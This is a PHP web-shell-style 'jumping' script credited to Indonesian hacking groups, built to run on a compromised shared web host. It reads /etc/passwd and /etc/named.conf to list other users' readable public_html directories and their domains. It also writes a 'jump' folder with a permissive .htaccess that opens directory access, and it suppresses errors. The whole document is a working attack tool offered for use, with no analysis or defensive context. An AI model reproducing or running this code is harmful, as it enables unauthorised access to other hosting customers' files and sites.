Jumping (users - domains)

<?php
/* Recoded by AZZATSSINS CYBERSERKERS | Coded by Tu5b0l3d
 | thx to: IndoXPloit
 | just jumping + domain
 */

error_reporting(0);
echo '<title>READ ANOTHER USERS DIR | JUMPING | AZZATSSINS</title><body bgcolor=silver><center><h2>Just View Directory Another User, Readable or Not</h2><br><hr><br>List of Readable<br><hr><br></center><table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
<td align="center"> <font color="violet"> <b>USERS PATH</b></td>
<td align="center"> <font color="violet"> <b>DOMAINS</b></td>

';
//$us = file_get_contents("/etc/passwd");
$usa = fopen('/etc/passwd','r');
$dir = mkdir('jump', 0777);
$rrrr = "Options all \n DirectoryIndex jump \n Require None \n Satisfy Any";
$frr = fopen('jump/.htaccess', 'w');

fwrite($frr, $rrrr);
while($us = fgets($usa)){
if($us==""){
    echo "<font color=red><b>Can't read /etc/passwd</b></font><br><br>";
}
else{
preg_match_all('/(.*?):x:/', $us, $user_byk);

    foreach($user_byk[1] as $user){
        $dir1 = "/home/$user/public_html/";
        if(is_readable($dir1)){
           echo "<tr>
<td><i><font color=green>$dir1</font></i></td>";

      $domainns = file_get_contents("/etc/named.conf");
      if($domainns==""){
        echo "<font color=red><b>Can't read /etc/named.conf</b></font><br><br>";
      }
      else{

      preg_match_all("#/var/named/(.*?).db#", $domainns, $domains);
      foreach($domains[1] as $domain){

      $user2 = posix_getpwuid(@fileowner("/etc/valiases/$domain"));
      $user2 = $user2['name'];
      if ($user2=="$user"){
        echo "<td><a class='azzatssins' href='http://".$domain." '><font color=lime>".$domain."</font></td>";
        break;
    }
  }

}
       }
        else{

        }

   }

}

}

echo "</tr></table>";

   ?>